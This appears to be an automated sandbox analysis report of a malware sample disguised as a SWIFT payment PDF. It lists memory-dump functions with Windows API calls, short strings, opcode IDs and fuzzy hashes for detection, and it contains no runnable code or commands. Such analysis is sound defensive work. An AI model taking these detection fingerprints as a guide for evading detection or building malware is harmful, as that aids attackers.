Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 394E09FE
GetCurrentThread.KERNEL32 ref: 394E0A3B
GetCurrentProcess.KERNEL32 ref: 394E0A78
GetCurrentThreadId.KERNEL32 ref: 394E0AD1

Memory Dump Source

Source File: 00000004.00000002.2964098501.00000000394E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 394E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_394e0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 8e6cc2ab8b6742ff552ede5ae9855826572e631565eb0c145459ec3ed87c8ff3
Instruction ID: bc65dff068de4228b6030b363af0d5421378b16ef53e895afe1e7b97d4d1fc0e
Opcode Fuzzy Hash: 8e6cc2ab8b6742ff552ede5ae9855826572e631565eb0c145459ec3ed87c8ff3
Instruction Fuzzy Hash: D55133B0D012498FDB14DFAAC548BEEBBF1AF49314F20855AD429A7360DB74A980CF65

Function 38FB7920 Relevance: 3.9, Strings: 3, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<CC8, xrefs: 38FB79D4
<CC8, xrefs: 38FB7B22
<CC8, xrefs: 38FB7AEB

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: <CC8$<CC8$<CC8
API String ID: 0-1054242872
Opcode ID: 7f7587a15aa69a7670506f5fe009a7f6cadf47b47e0aa13b186b41760d10cbcc
Instruction ID: 017a9afa2890dec82edb54ca24f4e099a4d36cbf123ed3f484818813e1a5eaf8
Opcode Fuzzy Hash: 7f7587a15aa69a7670506f5fe009a7f6cadf47b47e0aa13b186b41760d10cbcc
Instruction Fuzzy Hash: A051F074E01318DFDB15DFA5D944AADBBB2BF88304F208529D809BB364DB759A86CF40

Function 394E01C8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,0000000C,?,?,?), ref: 394E0222

Strings

0, xrefs: 394E020A

Memory Dump Source

Source File: 00000004.00000002.2964098501.00000000394E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 394E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_394e0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CreateWindow
String ID: 0
API String ID: 716092398-4108050209
Opcode ID: c63cd3d3016779c75a42dc26c38cd02be0f5dfe3fb348bc2615c52eb6296ec0c
Instruction ID: bbcab64f1db5939f691ddb04583a81235518079e9a64ff763f2ab20eb6355701
Opcode Fuzzy Hash: c63cd3d3016779c75a42dc26c38cd02be0f5dfe3fb348bc2615c52eb6296ec0c
Instruction Fuzzy Hash: 6721E2B5C04208EFDF01DFD4D984ADEBBB5BF08308F208509E918AB260C775A845CF61

Function 394E2018 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetTimer.USER32(?,?,?,?), ref: 394E207D

Strings

U, xrefs: 394E201D

Memory Dump Source

Source File: 00000004.00000002.2964098501.00000000394E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 394E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_394e0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Timer
String ID: U
API String ID: 2870079774-3372436214
Opcode ID: 5a9ba5f33d5f03502a926177bbec684c0edce1c9f3e7e4fabfdd162ba69fee01
Instruction ID: d81084c7b9b27499392f66c4c5890321ce0713cf7597bf65219fed116349d91e
Opcode Fuzzy Hash: 5a9ba5f33d5f03502a926177bbec684c0edce1c9f3e7e4fabfdd162ba69fee01
Instruction Fuzzy Hash: D81133B5800348DFDB10DF99C889BDEBFF4EB48320F20845AD959A7610C375A980CFA1

Function 36007458 Relevance: 3.2, Strings: 2, Instructions: 692
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 36007F9F
$^q, xrefs: 36007F7C

Memory Dump Source

Source File: 00000004.00000002.2960984662.0000000036000000.00000040.00000800.00020000.00000000.sdmp, Offset: 36000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 633dbdd4edb5c8da1ace158f2f4cdf227944c74f1fb9c444f7247836671597f4
Instruction ID: b910aea643450761e74360416d9c2148d2c75aa2b9a5bcf5163c2f7ac05964e6
Opcode Fuzzy Hash: 633dbdd4edb5c8da1ace158f2f4cdf227944c74f1fb9c444f7247836671597f4
Instruction Fuzzy Hash: DA524274A10218CFEB54DBA4C895B9EBFB7AF48300F1091AAC10A6B3A4DF359D85DF51

Function 360054A8 Relevance: 2.7, Strings: 2, Instructions: 209
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,bq, xrefs: 36005540
,bq, xrefs: 36005536

Memory Dump Source

Source File: 00000004.00000002.2960984662.0000000036000000.00000040.00000800.00020000.00000000.sdmp, Offset: 36000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: ,bq$,bq
API String ID: 0-2699258169
Opcode ID: 727f5b2a159b226af8ac77bd10502da298d3bdd8587cb45fba1aec07efe25d3d
Instruction ID: 63d6527eae4f89bd7eae4073f526ede671913b3b18f54eab31c1da738452f3de
Opcode Fuzzy Hash: 727f5b2a159b226af8ac77bd10502da298d3bdd8587cb45fba1aec07efe25d3d
Instruction Fuzzy Hash: A18190B8B00215CFEB05CFA9C69599EBBF2BF48215B6580A9D405DB361DB31E841CF90

Function 38FBFAB0 Relevance: 2.7, Strings: 2, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

gC8, xrefs: 38FBFAD1
PO?6, xrefs: 38FBFB61

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: PO?6$gC8
API String ID: 0-3506676155
Opcode ID: f48725bce2c4156d26ece4e34122c1b3bc79fe2e8cf770c84368a15d67e8842b
Instruction ID: cd320a03908a0c543e61ee0d40cd1d24e634ee7196bc7a97971f54c9ee26ac05
Opcode Fuzzy Hash: f48725bce2c4156d26ece4e34122c1b3bc79fe2e8cf770c84368a15d67e8842b
Instruction Fuzzy Hash: A1711675A00619CFDF19DFB5C8589ADBBB2FF88300F20856AE406AB290DB749952CF41

Function 36004F24 Relevance: 2.7, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

Hbq, xrefs: 3600501E
Hbq, xrefs: 36004FEB

Memory Dump Source

Source File: 00000004.00000002.2960984662.0000000036000000.00000040.00000800.00020000.00000000.sdmp, Offset: 36000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: Hbq$Hbq
API String ID: 0-4258043069
Opcode ID: c754bf570a25de697e4c2d71cc0a07b765dad03bbb32073a174dae3e67ba9ba8
Instruction ID: c460db1733046b170001ab62978304898d46f98693ebfeab7996ee56636bbfed
Opcode Fuzzy Hash: c754bf570a25de697e4c2d71cc0a07b765dad03bbb32073a174dae3e67ba9ba8
Instruction Fuzzy Hash: 9551DF79704254CFEB068F65C846B6E3FF6FF88349F2445A9E9059B290CB75C802CBA5

Function 36008BF0 Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

4'^q, xrefs: 36008D2D
4'^q, xrefs: 36008D44

Memory Dump Source

Source File: 00000004.00000002.2960984662.0000000036000000.00000040.00000800.00020000.00000000.sdmp, Offset: 36000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: a4a3cd41ccddc63bf1aed87ce4f3118d436119f107e98428b7898a56ec793ff5
Instruction ID: 84e4bd5b3e2c269e341ba4759a7c2e75c1a0d384209592256807471a2e6a842f
Opcode Fuzzy Hash: a4a3cd41ccddc63bf1aed87ce4f3118d436119f107e98428b7898a56ec793ff5
Instruction Fuzzy Hash: B5519134B002149FFB04CF69C885B6A7BEBFF88354F1489A5EA09CB252DB71CD418B91

Function 38FBFAA1 Relevance: 2.6, Strings: 2, Instructions: 86COMMON

Download Yara Rule

Strings

gC8, xrefs: 38FBFAD1
PO?6, xrefs: 38FBFB61

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: PO?6$gC8
API String ID: 0-3506676155
Opcode ID: 31d89bbcf6f581dd4f01a2580b2efd30c8cfe86a91938ff72ef1dc5b7f9dcac2
Instruction ID: ba3ba3184c1ee3211a0565cdbda7764b0ba4e26d81816b7e689fc205513f9970
Opcode Fuzzy Hash: 31d89bbcf6f581dd4f01a2580b2efd30c8cfe86a91938ff72ef1dc5b7f9dcac2
Instruction Fuzzy Hash: 66316D78E006098FDF19DFB6C4586ADBBF2AF88204F24892EC446AB350DF348942CF51

Function 38FB7911 Relevance: 2.6, Strings: 2, Instructions: 78COMMON

Download Yara Rule

Strings

<CC8, xrefs: 38FB7B22
<CC8, xrefs: 38FB7AEB

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: <CC8$<CC8
API String ID: 0-467816798
Opcode ID: 785986f851a6bdaff32bf1c6a5fa08bef86ae4304cc504fc930f21d16fafcd00
Instruction ID: 4a1bceb89cb1e4fac32a7a8b2eb61d8f33eac2364601930109952b669ba861cc
Opcode Fuzzy Hash: 785986f851a6bdaff32bf1c6a5fa08bef86ae4304cc504fc930f21d16fafcd00
Instruction Fuzzy Hash: 343102B4D023589FEB05CFA1D444AEEBBB2AF49304F10886AD459BB240DB78468ACF41

Function 394E1DC0 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 394E1E81

Memory Dump Source

Source File: 00000004.00000002.2964098501.00000000394E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 394E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_394e0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 7e7226188ed982e5a9ac097c2490d7efc89bf9594651944e7a52e0872e87cac3
Instruction ID: 85b2a0c6935df93356c28f90f36b8b1fae6c8f9e797ac6c5e7c1d821ac038c68
Opcode Fuzzy Hash: 7e7226188ed982e5a9ac097c2490d7efc89bf9594651944e7a52e0872e87cac3
Instruction Fuzzy Hash: 2E4103B8A00349CFDB14CF99C448A9AFBF5FF89315F24C499E519AB321D735A841CBA0

Function 394E0BC0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 394E0C4F

Memory Dump Source

Source File: 00000004.00000002.2964098501.00000000394E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 394E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_394e0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a04b740ab7835252daee6019fe282de807bae0a7aa7668bd1be8bf27e766a62e
Instruction ID: e92630ea5e7e09736becd98e8960da23e09857838b121798756a5775b5ab1d3c
Opcode Fuzzy Hash: a04b740ab7835252daee6019fe282de807bae0a7aa7668bd1be8bf27e766a62e
Instruction Fuzzy Hash: 0D21E4B5D002589FDB10CFA9D585AEEFFF4EB48310F24841AE959A7310C374A940CFA1

Function 394E0BC8 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 394E0C4F

Memory Dump Source

Source File: 00000004.00000002.2964098501.00000000394E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 394E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_394e0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 824b6f4d732649c2c800fed2d625b710a3eb50c4ddabe3ca5929673fea0f381f
Instruction ID: 5c4dd89746f5a87899697984cf557d3de28b886b9d3eab8b0f492dec780c7c4d
Opcode Fuzzy Hash: 824b6f4d732649c2c800fed2d625b710a3eb50c4ddabe3ca5929673fea0f381f
Instruction Fuzzy Hash: 5021D3B5D00258AFDB10CFAAD984ADEFFF4EB48320F14841AE958A7310D374A940CFA5

Function 394EE6F7 Relevance: 1.5, APIs: 1, Instructions: 49windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 394EE765

Memory Dump Source

Source File: 00000004.00000002.2964098501.00000000394E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 394E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_394e0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 68838a0adc524f41e8b28d35181126e11ffe9b6aa60439b6aca9d823de1e2812
Instruction ID: c1808a89dbbaadbb7591c201dc4b260683e98ecd6223db60164a27279957188f
Opcode Fuzzy Hash: 68838a0adc524f41e8b28d35181126e11ffe9b6aa60439b6aca9d823de1e2812
Instruction Fuzzy Hash: 991123B4C083888FCB11CFAAD844A9EBFF0AF49310F1484AAD459A7251C338A544CFA5

Function 394EC560 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 394ED445

Memory Dump Source

Source File: 00000004.00000002.2964098501.00000000394E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 394E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_394e0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 256aa8bb0e3e00f484e2c779a219c9d12a6a63697c7f2fa83b94aed401192568
Instruction ID: 17318e6d2b63b7cd7748400fe23540a57e92ed6277ac5d4cdd9406490bc303b2
Opcode Fuzzy Hash: 256aa8bb0e3e00f484e2c779a219c9d12a6a63697c7f2fa83b94aed401192568
Instruction Fuzzy Hash: 281100B5D003498FCB20DFAAD545BDEBBF4EB48324F20845AD558A7310C779A980CFA5

Function 394EE700 Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 394EE765

Memory Dump Source

Source File: 00000004.00000002.2964098501.00000000394E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 394E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_394e0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 16ce21740a4cf0ae274e500f4d9d2330df7bed2e4955d107206b76abefdd9541
Instruction ID: 18216a6580116dee60f55abad9f8452383f3d3913d173f9981cfebe2d1c4e2e7
Opcode Fuzzy Hash: 16ce21740a4cf0ae274e500f4d9d2330df7bed2e4955d107206b76abefdd9541
Instruction Fuzzy Hash: 0D11F2B5D00649CFCB10CF9AD685BDEFBF4EB48324F10845AD559A7610D338A541CFA5

Function 394E2020 Relevance: 1.5, APIs: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 394E207D

Memory Dump Source

Source File: 00000004.00000002.2964098501.00000000394E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 394E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_394e0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 89e99f9d91cda2aaf4d041a06cc7a6fdafc146a99a21c38cd79e75d302163afd
Instruction ID: 9670ffdd79a9b869938c3151843cd008af801b44e6b8b17b9aa16a9f87a37fae
Opcode Fuzzy Hash: 89e99f9d91cda2aaf4d041a06cc7a6fdafc146a99a21c38cd79e75d302163afd
Instruction Fuzzy Hash: F51112B5800348DFCB10DF9AC885BDEFBF8EB48320F10841AE958A7210C375A980CFA1

Function 394ED3EE Relevance: 1.5, APIs: 1, Instructions: 44comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 394ED445

Memory Dump Source

Source File: 00000004.00000002.2964098501.00000000394E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 394E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_394e0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 6493daec04307a7054ffe8cff44c2b09cc5fdac8d22fc19a31569f3c62eb9bd5
Instruction ID: b9cc5de5fa9545a0b0143924bfcab8e5de631168ced2bd26dc4eff63ec4e67b3
Opcode Fuzzy Hash: 6493daec04307a7054ffe8cff44c2b09cc5fdac8d22fc19a31569f3c62eb9bd5
Instruction Fuzzy Hash: 7511D0B5D002488FCB20CFA9D545BDEBBF4EB89324F20846AD559A7610C374A985CFA5

Function 394EE708 Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 394EE765

Memory Dump Source

Source File: 00000004.00000002.2964098501.00000000394E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 394E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_394e0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 424cf7ae31880aca7c21c319bba8929f0c1dc820f39bc4759a26a88397dcaf81
Instruction ID: 9ca3203414af547bc75a7a166278d21e0b72ba3d71ccdc87999c502613175038
Opcode Fuzzy Hash: 424cf7ae31880aca7c21c319bba8929f0c1dc820f39bc4759a26a88397dcaf81
Instruction Fuzzy Hash: 2E11FEB5C00249CFCB10CF9AD544ACEFBF4EB48324F10846AD459A3210D378A540CFA5

Function 394EE712 Relevance: 1.5, APIs: 1, Instructions: 38windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 394EE765

Memory Dump Source

Source File: 00000004.00000002.2964098501.00000000394E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 394E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_394e0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: d5ba41456aa9a6b015fe72775c95192039be72789e8d1a51451b997a097dc9f9
Instruction ID: d8a625267a70546ef8ad2108d8c04810eac6adb75078b85c520fe8d6b1b923ba
Opcode Fuzzy Hash: d5ba41456aa9a6b015fe72775c95192039be72789e8d1a51451b997a097dc9f9
Instruction Fuzzy Hash: E501ABB9D00649CFCB10CF9AD544BDEFBF0AB48324F10896AD969A7610C378A545CFA9

Function 36000B29 Relevance: 1.5, Strings: 1, Instructions: 201COMMON

Download Yara Rule

Strings

LR^q, xrefs: 36000B62

Memory Dump Source

Source File: 00000004.00000002.2960984662.0000000036000000.00000040.00000800.00020000.00000000.sdmp, Offset: 36000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: 2373a4b145afb2b03422d403115e11d99211876e1a568c760f5d8629c0c205b5
Instruction ID: 5da011f1a809840d79b76589513f309b6fd64787b0a5862a3fa2902e10cbdca6
Opcode Fuzzy Hash: 2373a4b145afb2b03422d403115e11d99211876e1a568c760f5d8629c0c205b5
Instruction Fuzzy Hash: 13A1E7B5A4020ACFCB04DFA8D98699DBBB2FF88305B504629D415BB365DB34AD56CF80

Function 36000B30 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

LR^q, xrefs: 36000B62

Memory Dump Source

Source File: 00000004.00000002.2960984662.0000000036000000.00000040.00000800.00020000.00000000.sdmp, Offset: 36000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: 34c583230fededd8cdb83b2072e822619e1d91c0024d8de01769079ea2f1a801
Instruction ID: 7f709f167badc1bdb315a53879911d75b06aea41807c82e90483336fd8ff83b6
Opcode Fuzzy Hash: 34c583230fededd8cdb83b2072e822619e1d91c0024d8de01769079ea2f1a801
Instruction Fuzzy Hash: 7FA1C9B5A4020ACFCF04DFA8D98699DBBB2FF88305B504629D415BB365DB34AD56CF80

Function 38FBCF68 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

TkC8, xrefs: 38FBCFE0

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: TkC8
API String ID: 0-3539978096
Opcode ID: 6248ad361ae3bfd3ab223c543f08bd653e3ba1217d08f0f517acc06a43906954
Instruction ID: fa2d1e519678860a72675cb763325058852864c351db2ba0f575d962f2b215bb
Opcode Fuzzy Hash: 6248ad361ae3bfd3ab223c543f08bd653e3ba1217d08f0f517acc06a43906954
Instruction Fuzzy Hash: 9031E4B4B002068BDF29DF77C4506AFBBF29F88380F00482DD402A7644DE35E806CBA1

Function 38FBCF59 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

TkC8, xrefs: 38FBCFE0

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: TkC8
API String ID: 0-3539978096
Opcode ID: 1c25438d889df8dcf81409f3ac1422564a58db7073fca0eb6d77584faad2fd8d
Instruction ID: a539e2efb3e87c3650230b3e62e077dbf8a2160b87495513868be65e24961cdf
Opcode Fuzzy Hash: 1c25438d889df8dcf81409f3ac1422564a58db7073fca0eb6d77584faad2fd8d
Instruction Fuzzy Hash: CC21E4B5B042458BDF25DB77C5506EEBBF6AF88340F04886DD451A7254DA34E805CB61

Function 38FB95E8 Relevance: 1.3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

jC8, xrefs: 38FB95E8

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: jC8
API String ID: 0-2638867416
Opcode ID: 83a72d93f577bd1d0b043a0b35bbfe07c6e7d64f3e71532476833ba9ca1b2a88
Instruction ID: 2298e95f4505e7ebe066e38c599f35c9815e607b62ee333319effaf4ac2a1a4b
Opcode Fuzzy Hash: 83a72d93f577bd1d0b043a0b35bbfe07c6e7d64f3e71532476833ba9ca1b2a88
Instruction Fuzzy Hash: 84F0F4B5E042149FDF069B69C4507BFBBB2FF88354F10492AE90597640DB70E816CBD1

Function 38FBC173 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1fff8ef326a7f716afe5d78f1909bd9dcd2bb3d49bd11451e97461fc91d4144
Instruction ID: bad91c9ad6ef3ba69fb7a5721dca5403bd3d263cabb3041854a5414034576e0b
Opcode Fuzzy Hash: d1fff8ef326a7f716afe5d78f1909bd9dcd2bb3d49bd11451e97461fc91d4144
Instruction Fuzzy Hash: A9E1F374A40218DFDB25DF60C955BADBBB2FB89300F5085AAD80A77364CB359E92CF10

Function 36005068 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960984662.0000000036000000.00000040.00000800.00020000.00000000.sdmp, Offset: 36000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b280b6d82f06ce1b0fe4df1a07078c1504c2ec056d974f9b110e989ff2e7d79
Instruction ID: dd50f3a82dc0a64d359fed9d6d79f0f87878e0ff6e3010c0db7f534dc9d97f9b
Opcode Fuzzy Hash: 6b280b6d82f06ce1b0fe4df1a07078c1504c2ec056d974f9b110e989ff2e7d79
Instruction Fuzzy Hash: 4161CEB4B042108FF7069EB98955B2E7FE6AF89758F2445A9D506CB390DF34CC82CB81

Function 36006C98 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960984662.0000000036000000.00000040.00000800.00020000.00000000.sdmp, Offset: 36000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ac45a25e263c3ac34af65da6e25881af8c57774554b30d8183b1a52bdb5083d
Instruction ID: b216e648aa61d5d583321bf92281899ddc41ca7d505318756d32158e8f46cea2
Opcode Fuzzy Hash: 0ac45a25e263c3ac34af65da6e25881af8c57774554b30d8183b1a52bdb5083d
Instruction Fuzzy Hash: 18714C34B202458FEB04DF29C895A6E7BE6AF49744F2504A5E405DB3B0EB71DC61CFA1

Function 38FBBA88 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fbac333f00bc87c77b4984ea95d8e48a750ecc61693abd3ddac613f56546637
Instruction ID: efc07c1e3d10821d408ab768abd885c5240ce0caf30c63e6eeb7a20ac03bbcd9
Opcode Fuzzy Hash: 2fbac333f00bc87c77b4984ea95d8e48a750ecc61693abd3ddac613f56546637
Instruction Fuzzy Hash: 207106B4E01648CFDB15DFAAD99069DBBF2BF88300F24D969E404AB359DB349842CF50

Function 38FBC4CF Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdf2fe5e2f8382f7acd1bbc4bdd7ff8c5de07f560ab389e2198653a18926828d
Instruction ID: ab76cd6cc98c9f7974b7e97866d85224818e2179bb646f42310e32f07401d007
Opcode Fuzzy Hash: cdf2fe5e2f8382f7acd1bbc4bdd7ff8c5de07f560ab389e2198653a18926828d
Instruction Fuzzy Hash: 3D612674A40358CFDB25DF64C955BADBB76EB88300F1089AAD90A77364CB359D92DF00

Function 38FBCC28 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eae60ec10c62801404885b33dd70f15eab0fd035d20c7b9da422de614d015468
Instruction ID: ce636f1f3c71cf401044f9daae1095d3c6c76e85c1c603edc9f0d5debcf96729
Opcode Fuzzy Hash: eae60ec10c62801404885b33dd70f15eab0fd035d20c7b9da422de614d015468
Instruction Fuzzy Hash: 3B519475E00258CFDB54DFA9C990A9DBBB2FF88300F20816AD409BB354DB35A986CF40

Function 36003168 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960984662.0000000036000000.00000040.00000800.00020000.00000000.sdmp, Offset: 36000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36000000_SWIFT091816-24_pdf.jbxd
